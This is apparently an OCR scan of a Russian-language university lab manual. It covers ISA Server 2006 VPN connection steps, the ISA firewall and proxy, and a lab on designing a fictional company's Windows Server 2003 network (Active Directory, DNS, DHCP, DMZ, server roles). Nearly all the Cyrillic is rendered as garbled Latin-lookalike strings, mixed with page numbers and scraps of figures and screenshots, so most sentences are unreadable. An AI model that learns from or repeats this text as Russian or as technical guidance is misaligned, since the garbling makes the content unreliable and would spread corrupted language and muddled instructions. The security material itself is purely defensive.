New Connection Wizard (3aBepmierre Mactepa HOBBIX TTOAKITIOYCHUH).
B muanoroBom okne Connect VPN (VPN-noakitoueHne) BBEIUTE UMS
nonp3oBarenst  Administrator u maponb AN YYETHOM — 3amucu
aaMuHUCTpatopa (ecnmm Opanamaysp ISA — uieH qoMeHa, BBEAWTE UMS
KOMIIBIOTEpA WJIM UMS JIOMEHA Tiepe]l UMEHEM I0JIb30BaTeNs B ¢opmaTe
NAME\username). [lenxkauTe MBIIIBIO KHOTIKY Connect
(IToakmrouuThCS).

VPN-kiueHT ycranaBiauBaeT coenuHenue ¢ VPN-cepBepom Opanamayaspa
ISA 2006.11enkauTe wMblmp0 KHONKy OK B 1IHamoroBom OKHe
Connection Complete (CoeauHeHne YCTaHOBJICHO), HHPOPMHUPYIOIIEM 00
YCTaHOBKE COCMHECHHUSI.

JIBaXXApl IIETKHATE KHOMKOHW MBI MHUKTOTPAaMMy COCIWHCHHS Ha
CUCTEMHOM TaHeNM 3a/ad, a 3aTeM ILIEJIKHUTE MbIibio BKIaaKy Details
(Cenenus). Bol yBunure mmdposanne MPPE 128 (Microsoft Point-to-
Point Encryption), npumensiemoe ais 3alMThl JaHHBIX, W [P-ampec,
HasHaueHHbIH  VPN-kmuenty. Illenkaute wmbimbio kHOmKy Close
(3aKphbITh).

[[lenkauTEe MPaBOM KHOMKOW MBIIIA MO MUKTOTPAMME COCAMHEHHS HA
MaHeNIn 3a7a4d U IMIEIKHUTE JICBOM KHOMKOW MBIIKM KHOMKY Disconnect

(OTKITI0YUTB).

3ammTa TpaHULl KOPHOPATHUBHOM CETH NPEANPHUATHS OT BHEUIHUX YIpPO3,

KOHTPOJIb BXOJAIIEro u ucxonsmero Muartepuer tpaduka u mapuipytusaiusi BHyTpU

JJOKAJIbHBIX HOJICCTeﬁ SIBIISIFOTCSI BXKHBIMH DJIEMEHTAMH CHCTEMBI Oe3omacHocTH. C

KQXKJIBIM pa30M yIrpo3a 3apa)KeHUs JAaHHBIX BUPYCaMHU M YPOBEHb XaKEPCKUX aTak Ha

CETh BO3PACTAIOT, a HEPAJMBBIC TMOJIB30BATENH CTpEeMsTCs "0OONTH" yCTaHOBIIEHHBIC

OI'paHUYCHMA. Pemuth 3aJladyd IO KOHTPOJJIIO MapHIpyTU3aluH ITaKETOB MOKHO C

MTOMOIIIBIO TPO(EeCCUOHATBHBIX TPOTrPAMMHBIX OpaHIMay3pOB.
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OmanmM w3 Takux penreHuid sBisercs Microsoft Internet Security and
Acceleration Server 2006 (ISA Server). DtoT 6paHaMay3p MOXKET KOHTPOJIUPOBAThH
ceTeBOll TpaduK Ha MATH YPOBHIX cTeka mpoTokojoB TCP/IP, kxpome kaHAIBHOTO H
¢buznueckoro ypoaeid. OH ciocoOeH KOHTPOJIUPOBATh HE TOJIBKO 3ar0JOBKH MAKETOB,
HO U PACKpbIBATh UX COJAECPKUMOE, aHAJTU3UPOBATH CKPBITYI0 HMH(MOpMAIUIO. ITOM
CUCTEMOI TaKxke, 0€3yCI0BHO, MOAIEPHKUBAETCS KOHTPOJIb aIPECOB MAKETOB.

ISA Server MOXHO HCNOJB30BaTh HE TOJBKO KaK BHEUIHUN CETEBOW DKpaH, C
MOMOIIIBI0 KOTOPOTO0 KOPIIOPATUBHAS CETh OTHAENAETCS OT VIHTEpHETA, HO TAaKXKE U KaK
KoHTposiep HMutepHeT-Tpaduka BO BHyTpeHHeW cetu. Takke ISA Server moxHO
UCIIOJIb30BaTh B KauecTBe NPOKCU. OH COCOOEH KAIMIMPOBAaTh COAEPKUMOE BHEIIHUX
web-y3noB. Tlpu 3TOM HX coiepkuMoe OyJeT COXpaHAThCS B JOKAJIbHOH ceTh. B
Cllydyae MOBTOPHOI'O OOpallleHus MOJb30BaTelel K BHEUIHEMY web-cepBepy OTBET
nact ISA Server KoMmanuu, 4To CyIIECTBEHHO Pa3rpy3UT BHEIIHUM KaHal CBA3U. Ero
KJII JOCTAaTOYHO NPOU3BOJAUTEIIEH, T.K. COJIEPKMMOE COXPAHSETCA HE TOJBKO Ha
KECTKUX JUCKAaX, HO M B ONEpPaTUBHOM namATH cepsepa. IIpm 3TOM cam KoM
MPEACTABISIET COOON €IUHBIN MHAEKCUPOBAHHBIN (haiisl, YTO CYHIECTBEHHO YCKOPSET
MOMCK HY>KHOU MH(popMmanuu. KammpoBath 00bEKThI MOYKHO MO PACITUCAHUIO.

OTO MOJIE3HO €CIIM KIMEHThl KOPIIOPATUBHOM CETH YacCTO MOJIB3YIOTCS OJHUM U
TEM K€ calToMm, MHpopMalMs Ha KOTOpoM MeHsercs. B stom ciyuae ISA Server
MOXET 3arpy’kaTb HOBYKO BEPCHIO CalTa pa3 B HECKOJIBKO MHUHYT, IPEAOCTaBIIAA
M0JIb30BATENISIM MaKCUMAJIbHO a/IEKBaTHYIO BpeMeHU UH(popMaluio. B ciydae eciu Ha
MPEANPUATAA HUCIOJIB3YIOTCS HECKONbKO I[SA  ServeroB, Mexay HHMU MOYKHO
pacrpenenuTh 3a1a4 110 K3IHUPOBAHUIO.

Pacnomaras ISA Server Ha rpaHule KOPHOPAaTHBHOM CETH W BHEIIHETO
WNHTepHeTa, MOXKHO MCMOJIB30BATh €ro Kak Opanamaysp. B 3ToM ciiyyae BHemHui
aapec mpucBamBaeTcsi ToJNbKkO ISA  Server, KOTOpBIA MPOBOAUT OE30IMACHYIO
UIEHTU(UKAIMIO BHEIIHUX MOJIH30BATEIEH U OCYIIECTBIISET UX CBSA3h C BHYTPEHHUMU

CCpBCpaMu KOMIIAHHUH. HpI/I 9TOM BHYTPCHHUC CCPBCPBI KOMIIAHWMKW HC BUIAHBI H3
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WNHTepHeTa, HO MPOILIEIINE TPOBEPKY MOJB30BATEIM MOTYT MOJIYYHTh JOCTYI K KX
CepBHUCaM.

Kak 6pangmaysp ISA Server mommepkuBaeT MHOKECTBO (UIBTPOB, MAKETOB,
KAHAJIOB M TPWIOKEHUH, YTO IMO3BOJSAET NaTh JOCTYI TOJBKO K SIBHO YKa3aHHBIM
pecypcam B ciaydae HeoOxoaumocTu. Mcmonbp3yss KOMOMHanMio (UIBTPOB MOKHO
3AIIUTUTH JAHHBIE Ja)K€ TOTAA, KOI/Ia MPOTOKOJbI, 10 KOTOPHIM IMPOHMCXOAMT CBSA3b,
camu 110 ce0e sABJsoTCs HeOe3onacHbIMU. Takke OpaHaMaysp CIIOCOOEH ONPENEsTh
BTOPKEHHE B aBTOMATHUECKOM PEXUME I10 3apaHee 3aJlaHHbIM 11a0JI0OHAM.

ISA Server umeer oueHb TMOKHII MHCTPYMEHT IO HACTPOWKE BHYTPEHHEH WU
BHEIIHEH CETEBOM TOMNOJOTHUA. JTOT 3JIEMEHT SBJISIETCSI BAXKHBIM, T.K. IO3BOJISET
OTJIEJIUTh BHYTPEHHHUE CETH OT BHEIIHUX U MPUMEHATH Pa3JIMYHbIE OJUTUKH JTOCTYIa
K pa3JIMYHbIM CETEBbIM cerMeHTaM. KommbloTephl OOBEIUHSIOTCA B TPYIIBI B
COOTBETCTBUM C AMaNa3oHaMHU aJpecoB, YTO IO3BOJIIET B HacTporkax ISA Server’a
co3JaTh MAaKCHUMaJIbHO TOYHYIO MOJENIb KOPIOPATHBHOM CETEBOM TOMOJIOTHH.
[To3TOMY MOXHO YIPaBIATh IOTOKAMHU JIaHHBIX HE TOJIBKO MEX]y BHYTPEHHEN CETBIO
M BHemHUM WHTEpHETOM, HO W MEXAY OTACIbHBIMU CETEBBIMU CErMEHTaMU

MIPEANPUATHS.

4, Pexomenayemasi aureparypa
1 Tomac B. lunnep, He6pa JI. ungep / ISA Server 2004. — bXB-IletepOypr,
Pycckas Penakuus, 2005. — 1064 c.
2 http://www.microsoft.com
3 http://www.isadocs.ru

4 http://lwww.isaserver.ru
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JlaboparopHasi padora 14. UccienoBanne u pa3BepTbiBaHue CeTeBOM

uadpacrpykrypsl Microsoft Windows Exchange Server

1. eanb padoTbl

BEBIOTHUTE KOMIUIEKC JTa00PaTOPHBIX paboT, HAIIPABJICHHBIX Ha IPOSKTHPOBAHNUE,
BHEJIPCHHUE, YIIPaBJICHHUE U TOICPXKKY ceTeBor nHppacTpykTypsl Microsoft Windows
Server 2003. JlanHbIli KOMILIEKC pabOT MOXKET pacCMaTpuUBaThCS Kak OJHA W3
BO3MOJKHBIX peanu3aluii 1Mo pa3BepThiBaHUiO |T-MHPpACTpyKTyphl HEOOIBIIOTO

MIPEANPUATHS.

2. KpaTkue TeopeTnyeckue cBeaeHHs

IT-undpacTpyktypa — 3TO KOMIUIEKC B3aUMOCBS3aHHBIX CHUCTEM IEpelayu
JAHHBIX, alMapaTHBIX U MPOTPAMMHBIX MH(POPMAIIMOHHBIX CHUCTEM, CIyk 0 u HaOOp
CPEACTB yIpaBJiEHUs, HACTOJbHBIMH M TEPEHOCHBIMU KOMIIBIOTEpAMH, CEpBEpaMH,
CUCTEMAaMHU XpaHEHUs JaHHBIX, CETEBBIMU YCTPONCTBAMH, ONEPALMOHHBIMU
CUCTEMaMU U TMPWIOKEHUSMH, YAOBIETBOPSIOIIMX TMOTpeOHOCTAM Ou3Heca,
JNEUCTBYIOIIMX B PEXUME MOBBIIIEHHOW TOTOBHOCTH, OTKa30yCTOMYMBOCTH U
0e30MacHOCTH, U HMMEIONME TMOTEHITMAN Ui MacIITaOupOBaHUS, HE CHUIKAIOIIETO
3¢ PeKTUBHOCTD yrpaBieHusi THHOPMAIIMOHHON CHUCTEMOM.

Ceronnst IT-undpacTtpykrypa KOMIAHUU UMEET KPUTHUYECKHA BAXKHOE 3HAYCHUE
IUIsl €€ YCHEUIHOM AESATETbHOCTU. DTO YTBEP)KICHHE OJIMHAKOBO MPUMEHHMO KakK K
KPYITHOMY, TaK U K MaJoMy M CpeIHEMY OU3HECY BO BCEX OTPACIISIX SKOHOMUKH.

busnec-npuiiokeHusi, KOPHIOpPAaTUBHBIE CETH, CEpPBEPHl U IEHTPHI 00pPaOOTKHU
JTAHHBIX YK€ JIaBHO CTAJIM HEOTHhEMJIEMOM YacThi0 KOPIIOPATUBHOW MH(PPACTPYKTYPhI
m000M KOMIAHUU U 00ECIIEYNBAIOT KU3HEHHO HEOOXOUMbIE OU3HEC-TTPOLIECCHI.

Bueapenne MupopmarmonHbix TeXHOIOTHI COMPOBOXKIACTCS IOBBIIICHHBIMH
TpeOOBaHUSIMU K QJalTUBHOCTH, TMPOU3BOJUTEIBHOCTH M MacCIITaOUPyeMOCTH
o0opyoBaHus, K 3amuTe HHPOPMAIMA W JOCTYMHOCTH JAHHBIX U MPUIOKEHUH, K

HaJIC)KHOCTH SKCILTyaTalnH.
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CTpykTypa npeanpusitust

[Tpu mpoextupoBanuu |T-uHGpacTpyKTYpsl B TIEPBYIO OUYepeab CIAEAyeT 3HATh,
KaK YCTpOCHA Ta WUJIM WHAsl OpraHu3alusl.

B pamkax panHOM pabOThl MpeanpUsITHEM, Ui KOTOPOTO HEOOXOAMMO
pa3paboTath I T-undpactpykrypy, SIBJIIETCSI BBIMBIIIUICHHAS! KOMITAHUS
«/IéBensCodt», 3aHMMaroIIascs pa3padOTKOH W MPOJaKed MPOrpaMMHOIO
obecrieueHusl.

Crpykrypa kommanuu (puc. 1) COCTOMT M3 CIEAYIOIIHUX OPraHU3alMOHHBIX
SIMHMIIL;

e PykoBOJICTBO KOMIIAaHHEM;

e OTaen KaapoB.;

e byxranrepus;

e [InanoBeIi OTHCI;

e OTtaen MPOEKTUPOBAHMS U Pa3pabOTKU;
e Otaen npoaax;

e Otnen o paboTe ¢ KINCHTaMU;

e [Opuaunueckuii oTaem;

e PexiiaMHO-MapKETHUHTOBBIN OTHEN;

e |T-oTmen.

327
390



IT-oTmen

PykoBoxcTBo byxranrepus
KOMITaHUEH
Otnen v v v IImanoBEIHA
MIPOJIaXK > < OTIEN
«esensCodt»
Pexnamuo- yy 2 r'y
MapKETHHTOBBIi IOpumaeckuit
oTHeN OTIIEN
OTxen Otnen
MIPOSKTUPOBAHUS U KaJIpoB
Pa3pabOTKK Otaen o pabote

C KIIMCHTaMH

Puc. 1. Crpykrypa komnanuu «/lesensCodt»

HNudopmanuoHHbie pecypchbl NpeanpUusaTUs
Jlns Bemenust OuszHeca kommaHuH «JleBeabCodT» HEOOXOIUMBI CIETYIONTHE
MH(pOPMAITMOHHBIE PECYPCHI:
e ®dainoBbIM cepBeED;
e Cepsep nevary;
e [louTOBBIN CEPBED.
Taxoke TpeOyeTcs 00ecneuuThb ChyKaluM 0€30MacHbI JOCTYN B ceTh IHTEpHET.
K BHyTpeHHel ceTH KOMIaHWU HEOOXOJUM 3allUINEHHBIN YIaJleHHBIH JOCTYII,
KaK JJII COTPYAHUKOB, TaK U JUIsl TAPTHEPOB KOMITAaHHUH.
Ha omHoM 13 cepBepoB OyIeT pa3MeniaThCs Be0-cailT OpraHu3aum.
B Ttabmune 1 mpuBeaeHO KOMMYECTBO CTAIMOHAPHBIX W MOOMIIBHBIX PabOUYMx

CTaHI_II/Iﬁ COTPYAHUKOB KOMITAHHH.
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Ta6auna 1. KonmdectBo paboynx cTaHIIAN

KonuuectBo pabouunx
OpranuzanoHHas 5

CTaHIUH
eANHUIIA

CTAIMOHAPHBIX | MOOMIIBHBIX
PykoBoacTBO

0 3
KOMITAaHUEN
OTtnen kaapoB 2 0
byxranrepus 3 0
II;maHoBEIN OTHEN 3 0
Otnen
MPOEKTUPOBAHUS 10 0
pa3paboTku
OTtnen mpomax 0 5
Otnen no pabore cC

0 3
KIIMEHTaMU
FOpuanueckuii otaen 1 0
Pexmamuo-

5 3)
MAapKETUHTOBBIN OTAEIN
IT-otnen 3 0
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1 Konrposiep nomena
2 DaiinoBEIif cepBep
3 Cepeep nevaru

4 DNS-cepsep

5 DHCP-ceprep

6 [TouToBHIIT CepBep
(MS Exchange Server ?

du3nuyeckas CTPYKTypa ceTu u cxema |P-agpecanuu

Ha PpHC. 2 IMPUBCACHA CXCMa CCTU KOMIIAHUHU.

DMZ

1 ISA Server 2006
2 DNS-cepgep

3 DHCP-cepsep

4 VPN-cepsep

1 Be6-cepaep (1S 6.0)
2 SMPT Relay

192.168.1.0/24

Wi-Fi touka nocryna

MoOunsHbIE
paboune cTaHIUA

CrauuoHapHsble
pabodne cTaHIH

Puc. 2. O0mas cxema ceT KOMIIaHUU

OnuH u3 cepBepoB OYIET UCIOJIB30BAThCS B KaUeCcTBEe MexKceTeBoro skpana (ISA

Server) Mexy BHYTPEHHEH CEThIO KOMITAHUH, IEMIIINTApU30BaHHOHN 30HOH (DMZ) 1

ceThio IHTEpHET, MOATOMY Ha HeM OyIyT 3aJeiiCTBOBAHbI TPU CETEBBIX aJIanTepa.

JIM3 (nemunutapuzoBaHHas 30Ha, DMZ) — TexHosiorusi o0ecriedeHus: 3aiuThl

MH(POPMAITMOHHOTO TIEPUMETPa, NMPU KOTOPOM CEpBEPhI, OTBEHAIOIIME HA 3aMPOCHI U3
BHEIIIHEW CETH, HAXOJSATCS B 0COOOM CerMeHTe ceTH (KOTOphIil n Ha3biBaeTcs JIM3) u
OTPAaHUYCHBI B JOCTYIIE K OCHOBHBIM CEIMEHTAM CETH C IMOMOIIBI0 MEKCETEBOTO

9KpaHa, ¢ OCJIbI0O MUHHUMHU3UPOBATH ymep6, IIpu B3JIOMC OJHOI'O M3 O6I].[€I[OCTYHHBIX

cepBUCOB Haxosmmxcs B JIM3.
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ISA Server mo3BoauT 06e30MacuTh BHYTPEHHIOIO CETh OPTaHU3AlMUA OT aTak W3
cetu MHTEpHET, OpraHM30BaTh YJAJEHHBIA JOCTYIl K CETH KOMIIAHHHM C MOMOILBIO
texHosorun VPN, npoBoAWTh oOrpaHudyeHue Joctyna K cetu HHTepHer s
OTJCJIbHBIX TPYNI TOJIb30BATENIE W BECTH CTATHUCTUKY WCIOJIB30BAHUSI CETHU
HNHTEpHET COTpyAHUKAMU KOMIIAHUU.

Hpyroit cepBep OyneT XpaHWTh IEHTPAIU30BaHHYIO 0a3y YYETHBIX 3aruceit
MOJIb30BAaTENIC, TMOJUTUKU O€30MacHOCTH, a TakKe MPEeIOCTaBIsATh CEPBUCHI
Ha3HaueHusa [P-agpecoB kimuentckum komnbiorepam (DHCP) u paspemienus umeH
(DNS). Takske 3TOT cepBep OyA€T BBINOIHATH (GYHKIIMK (HalJIOBOTO CEpBEpa, cepBepa
nedaty u moutoBoro cepeepa (MS Exchange Server).

Tperuit cepsep (I1S) mHaxomurcs B JIM3 u wmcmonb3yercs I pa3MEIICHUS
conepxkumoro HWHTepHeT-caiiTa opranmzanuu. Takke Ha Hem OyneT pasMmenieHa
ciy:x6a SMPT Relay g1s moBblmieHHst 0€30IaCHOCTH  JJCKTPOHHOM IOYTHI M
YCTaHOBJICHA TIporpaMMa OJIOKMPOBAHUS CllaMa M MPOBEPKHU MOYTHI HA BUPYCHI. DTO
MO3BOJIUT 3aTPYAHUTH aTakH, IBHO HampasiieHHbIe MpoTuB MS Exchange Server. Bes
BXOJsilIIas outa OyeT npuxoauTh cHadaia Ha SMTP Relay, rie Oyaer npoBepsiThes

Ha BUPYCHI U CIIaM, a 3aTeM yxke Oyner nepecobuiatbess Ha MS Exchange Server.

IHoJMTUKY MMEHOBAHUS 00HEKTOB CeTH

[TonutHku mpencTaBiieHbl B Tabuie 2.

Tao6auua 2. [11a010HBI UMEH CETEBBIX OOBEKTOB

CereBble 00BEKTHI [H1a610H UMEHN

PaGouune crannuu omoen-Homep _CmaHyuu

[Tpumep: razrabotki-07, buhgalterija-01

[Teuararomue ycTpoicraa omoen-Koauuecmsao _yeemos_nedamu
IMpumep:  reklamnyj-color,  planovyj-

monochrome
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Jlornuyeckasi OpraHu3anus cereBo HHPPaCTPYKTYpPBHIL.

Cxema Active Directory

B kauecTBe LEHTPaJIUM30BAHHOIO CPEACTBA aIMHUHHCTPUPOBAHUS U YIPABICHUS
CETEBOM Cpemol HCMmoib3yeTcsi ciyx0Oa katamoroB Active Directory. s
opraHuzanui, BHeapstomux Microsoft Windows Server 2003, moaens qomeHa Active
Directory siBisiercst HanOosiee MPEANOUYTUTEIBHON M PEKOMEHOBAHHON KOMIaHHUEH
Microsoft. baza gaHHBIX CIyKObl KaTaJOrOB YCTAHABIMBACTCS HA OJUH WM
HECKOJIbKO KOMITBIOTEPOB — KOHTPOJJIEPOB IOMEHA.

B nmaHHOM TmpoekTe B CETH OpraHu3aluy HUCIONb3YeTCS OJWH JIOMEH -
develsoft.local. B kauectBe DNS-cybdukca momena ucnonbsyercs ".local", dro
ABJISIETCSI PEKOMEHJOBAaHHBIM K NPHUMEHEHHUIO B YacCTHBIX ceTsX. [[ns pabotel Active
Directory TpeOyetcs ciry:x6a DNS, moaromy konTposutep momerna DomainController
aBisieTcs Takxke ceBepoM DNS, KOTOphId, B CBOIO O4Y€penb, SBISETCS OCHOBHBIM
METO/IOM pa3pelIeHUs] UMEH XOCTOB B CETH.

st naznauenus |P-xoHdurypanum pabouuMM CTaHIUMSIM BHYTPEHHEW CETH U
OecipoBOAHBIM KiueHTaM mnpumensiercss ciayx6a DHCP. Ilpu sTomM KOMIbrOTEp
ISAServer camocTosiTeNIbHO OOCITYXHBAaeT 00JacTh aapecoB, KOTOPHIE BBLAAIOTCS
OecrpoBOHBIM KJIMEHTaM, a 00JacTh aJIpecoB, COOTBETCTBYIOIIAsl BHYTPEHHEN CETH,
oOciyxuBaeTcs kommbioTepamu DomainController u ISAServer onHOBpeMEHHO, B
cootBercTBue ¢ mpaBwioM 80/20. Takum oOpazomM, B cilydae OTKa3a OJHOTO W3
CEepBEpPOB, BTOPOH cepBep NMpuUMET Ha cebs ero (yHKIUMU MO TpeaocTaBieHuto IP-

KOH(Urypaluu KIMeHTaM BHYTPEHHEN ceTu U o0ecrieuuT OecrnepedoiiHyto padory.
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Cxema Active Directory npuseieHa Ha puCyHKe 3.

i d Develsoft.local

Servers

S
["| DomainController
£ L
Firewall
[ ] 1SAServer
&£ -
Workstations
[~ Client-0x
< -
Users

Direction
6 Fersonnel_department
6 |Accounts_department

6 Flanning_department

@evelopment_department
@ales_department

5‘ department_on_work_with_clients
@Law_department

6 Advertising_department
6 IT_department

Puc. 3. Cxema Active Directory
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CTpyKTypa KaTaJIOroB VISl XpPaHEHHS JaHHbIX
[Ipennaraercss HMCHOIB30BaTh  CIEAYIOIIYI0 CTPYKTYypy  KaTajJoOroB  AJIs
opranuzanuu (HaiiioBoro apxmuBa KoMmranuu (puc. 4)

Shared

(T e

4

Direction

[

Personnel_department

0

Accounts_department

[N/

Planning_department

0

Development_department

[

Sales_department

[N

Department_on_work_with_clients

0

Law_department

[0/

Advertising_department

Y

—Q IT_department

Puc. 4. Crpykrypa KaTajoroB JJisi XpaHEHUS JaHHBIX
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3. [lopsinok BHINOJIHEHHSI PA0OTHI

Ycranoska u HacTpoiika Windows Server 2003
XapaxTepHnsble 3Tamnbl yctaHoBKH Windows Server 2003 onucansl B 3a1anuu Nel.

[Tocne yctaHoBKM 1 akTuBauu Windows MOXHO HACTPOUTH CEPBEP, UCIIOIB3YS
XOpOLIO MPOAYMAHHYIO CTPAaHMIy YIpaBjieHHe JaHHbIM cepBepoM (Manage Your
Server) (puc. 5), KOTOpasi aBTOMaTHYECKH OTKPBHIBACTCS TPH BXOJIE B CHUCTEMY. JTa
CTpaHULa YIIPOLIAET YCTAHOBKY HEKOTOPBIX CIY»KO, NHCTPYMEHTOB U KOH(UTYpaLui
B 3aBUCHMOCTH OT poJii cepBepa. lllenknure kHONKy /[00aBUTH MM YAAJIUTH POJIb
(Add Or Remove A Role), nosieutcst okHo Macmepa nacmpoiiku cepsepa (Configure

Your Server Wizard).

8 YnpaBnenve AaHHbIM CEPEEMOM

e YnpasneHue pAaHHbIM

MoWCK B LEHTPE C
cepBepom

Cepeep: STELS

CpeacTBa 4 0OHOBNEHWA

@ AobaBaeHne poAei AARA

A4 MUHNCT PMPOE aHKE
AdHHOIo cepeepa C
" pEeACTES
JAofagneHne poned NOSBONMT CEPBERY BRINONHATE 3
" 0BAEHTE MM YAaMMTE :
CNEUHANEHEIE 3343HMA, Hanputep, ponk cepeepa dainos QJ g'onb A windows Update
NOSEONAET CEPEERY OTKPBITE OOWMA L0CTYN K darinam, (BEASHHA 0 KOMMBHITEDE H
Yokl A003EMTE POk, ZaMYCTHTE MACTED HACTPORKH &) MposkTaTe o ponAx WMEHH AOMEHE
CEpEEpa, WEeNEHYE "d00aEHTE MM ¥AANHTE pone", CEPEERa .
KOHBMMYPAUMA YCMNEHHORA
fezonacHoCTH Internet Explorer
\!jg ¥n pdBAEHHWE POAAMMH AdHHOIOD
CH. TaKkxe
cepeepa
Koraa pone AoBaBneHa, BEPHYTECA HA ASHHYHD CTPAHMULY 38 (MpagKa M NOAAERKKS
CREACTESMH M A0NOAHHTENBHEIMK CEEAEHHAMM O Microsoft TechMet

EME AHEEHEI 380aHHAY MOMHO By 8T B MHA0e BpEMA. T——
CrMcoK oBlwHx

jr;l HET poned ANA AaHHOMD cepeepa. 4Tobkl 406aBHTE .
- SAMHHMCTPATHEHEL 33A3HHA

ponk. WENkKHKTE " 00aBMTE MK W AENHTE ponk",
CooflwecTEo None30EaTENeA
cepeepa Windows Server
HoBHHH

MpOrpaMMa 3awmMTel
CTPATEMHHECKHY TEXHONOMMA

[ He nokaskieaTe 3Ty CTPHHLY NPH EXOAE B CHCTEMY

Puc. 5. Ctpanuiia YnpapieHue JaHHBIM CEPBEPOM
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Ecnu ycranoButh nepexiroyarens THIOBasg HACTPOMKA VIS MIEPBOro cepsepa
(Typical Configuration For A First Server), mactep caenaer cepBep KOHTPOLIEPOM
HOBOTO JIOMEHA, YCTaHOBHT cIy0bI Active Directory u nmpu HeoOX0MMOCTH CITYKOBI
DNS (Domain Name Service), DHCP (Dynamic Host Configuration Protocol) u
RRAS (Routing And Remote Access).

Ecnu ycranoButh mnepexitouarens Ocobass konpurypamuss ( Custom
Configuration ), MacTep MOKeT HAaCTPOUTD CJICAYIOIIHE POJIH.

o DaiisioBslii cepBep (File Server). O6ecnieunBaeT 1EHTPATU30BAHHBIA JOCTYII
K ¢aiinam 151
KaTajoram JijIsl I0JIb30BaTeNIeH, OT/ICNIOB U OpraHu3alvy B 11e10M. B1Gop 3TOTro
BapUaHTa
MTO3BOJISIET YIPABIATH IOJH30BATEIHCKAM JUCKOBBIM ITPOCTPAHCTBOM ITyTEM
BKJIFOUCHHUSI u
HACTPOUKHU CPEJCTB YIMPaBICHUS IUCKOBBHIMH KBOTAaMH M YCKOPUTH TOWCK B
daiinoBoi
cucTteme 3a cueT aktuBu3anuu Cryorcowt unoexcuposanus (Indexing Service).

o CepBep mneuatu (Print Server). OOecneunBaer IEHTPAIU30BAHHOE
yOpaBJICHUE TeYATAIONIUMU  YCTPOMCTBAMH, TMPEAOCTaBIAS KIMEHTCKUM
KOMITBIOTEPAM JIOCTYIT K OOITMM MpUHTEpaM W WX JapaiiBepaM. Ecimu BeIOpaTh
3TOT BapHaHT, 3amyctutrcs Macmep ycmanosxku npunmepos (Add Printer),
MTO3BOJISIFOIIMN YCTAHOBUTH MPUHTEPHI U COOTBETCTBYIOIIKUE ApauBepbl. Kpome
TOro, Mactep ycranaBinuaer ciyxObl IIS 6.0 (Internet Information Services),
HacTpauBaeT mnporokon mnedatu [PP (Internet Printing Protocol) m Web -
CpelCcTBa yIpaBJieHHUs] IPUHTEPAMHU.

« Application Server 11S, ASP.NET (CepBep npuioxenuii 11S, ASP.NET).
[IpenocraBiser KOMIIOHEHTHI WHOPACTPYKTYPBI, KOTOpHIE TPEOYIOTCS st
noAAepKku pasmernieHus Web - npunokeHuidd. OTa pojib yCTaHABIMBAET M

HactpauBaet [ IS 6.0, ASP.NET u COM+.
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Mail Server POP3, SMTP (IlourtoBnlii cepsep POP3, SMTP ).
VYcranapnuaer POP3 u SMTP , 4ro0bl cepBep MOI BBICTYNAaTh B POJIHU
IIOYTOBOTO cepBepa s kaueHTtoB POP3.

CepBep TepmMuHanoB (Terminal Server). Ilo3BonsieT MHOXKECTBY
HoJIb30Batesiei ¢ nmomoiipio kiueHckoro IO Cuyorcovr mepmunanos (Terminal
Services) wimu Jucmanyuonnoe ynpaeénenue padouum cmoaom (Remote
Desktop) moaxmroyaThCsi K TPHIOKEHUSIM M pecypcaMm cepBepa, Hampumep
OpUHTEpaM WJIU JAMCKOBOMY IMPOCTPAHCTBY, KaK €clii Obl 3TU pecypchbl ObLIN
YCTaHOBJIEHBI Ha UX KommbloTepax. B ortnnume ot Windows 2000, Windows
Server 2003 npenoctaBisieT JucmanyuornHoe ynpaeieHue pabouyum CmoJoM
aBTomMaTudecku. Poiau cepBepa TepMHHAIOB TPEOYIOTCS, TOJBKO KOTJla HYXHO
pa3Melnath NPUIOKEHUS IS OJIb30BaTEIEH HA CEPBEPE TEPMUHAIIOB.

CepBep ynaaennoro aocryna win VPN-cepsep (Remote Access/VPN
Server). OOecrnieunBaeT MapHIPYTU3AIUIO TI0 HECKOJIBKUM IPOTOKOJIAM H
CIIyOBbl yJaJEHHOTO JOCTyMma [JIsi KOMMYTHUPYEeMbIX, JIOKaIbHbIX (LAN) wu
rno0anbHbiX (WAN) BBIUMCIUTENBHBIX CeTe. Bupmyanvnas wacmuas cemo
(virtual private network, VPN) oOecneunBaer 0e€30macHOE COEIUHEHUE
NOJIb30BATENIsI C YJOAJEHHBIMUA Y3JIaMUd 4epe3 CTaHJIapTHbIE WHTEPHET-
COCIMHEHHS.

Kontponnep nomena Active Directory (Domain Controller Active
Directory). IIpenocraBmiser ¢y Obl KaTaloroB KJIMEHTaM CETH. DTOT BapHaHT
MO3BOJISIET CO3JaTh KOHTPOJUIEp HOBOTO WM CYLIECTBYIOLIEIO JOMEHAa U
ycranoBuTh DNS . Eciiu BBIOpaTh 3Ty podb, 3amyckaercs Macmep ycmanogku
Active Directory (Active Directory Installation Wizard).

DNS Server (DNS -cepsep). O0ecrieunBacT paspelieHue umeH y3iaoB: DNS -
nMeHa mpeoOpasyrorcs B [P-aapeca (mpsiMoii mouck) u oOpaTtHO (0OpaTHBII
nouck). Ecnum BbIOpaTh ATOT BapuaHT, ycTaHaBiuBaeTcsi ciiy)k0a DNS wu
3anmyckaercss Macmep nacmpoiku DNS-cepsepa (Configure A DNS Server
Wizard).

337
400



DHCP-cepBep (DHCP Server). Ilpemocraisier ciny»xObl aBTOMaTH4YECKOTO
BbIiesieHus [P-aipecoB kiiMeHTaM, HACTPOSHHBIM Ha AUHAMUYECKOE MOJIyYCHHE
IP-anpecoB. Ecin BbIOpaTh 3TOT BapuaHT, ycTaHaBIMBAIOTCA ciryk061 DHCP u
3ammyckaetcss Macmep cozoanus oonacmu (New Scope Wizard), mo3Bosstronuit
ONpEeJEINTh OJJUH WK HECKOJIbKO quana3oHoB [P-aapecoB B cetu.

Cepsep norokoB myJjabtumenna (Streaming Media Server). I[Ipenocrasnsier
cryx6sr WMS (Windows Media Services), KOTOpble MO3BOJSIOT CEpPBEPY
nepenaBaTh IMOTOKM MYJIbTUMEIUNHBIX JaHHBIX B HHTPAceTH WM uepes
Nurteprer. ComepKUMOE MOMXKET XPAHUTHCA W NPENOCTABIATHCA IO 3aIpocy
WM B peajbHOM BpeMmeHH. Eciu BpIOpaTh ATOT BapHaHT, YCTaHABIMBACTCS
cepsep WMS.

WINS-cepsep (WINS Server). OOecneunBaeT paspelicHHEC  HMCEH
KOMITBIOTEpOB  myTeM TnpeoOpasoBanuss wumeH NetBIOS B IP-ampeca.
VYcranapmuBare ciyx0y WINS (Windows Internet Name Service) He
TpeOyercs, eciin Bbl He nozaepxkuBaere crapble OC, Hanpumep Windows 95
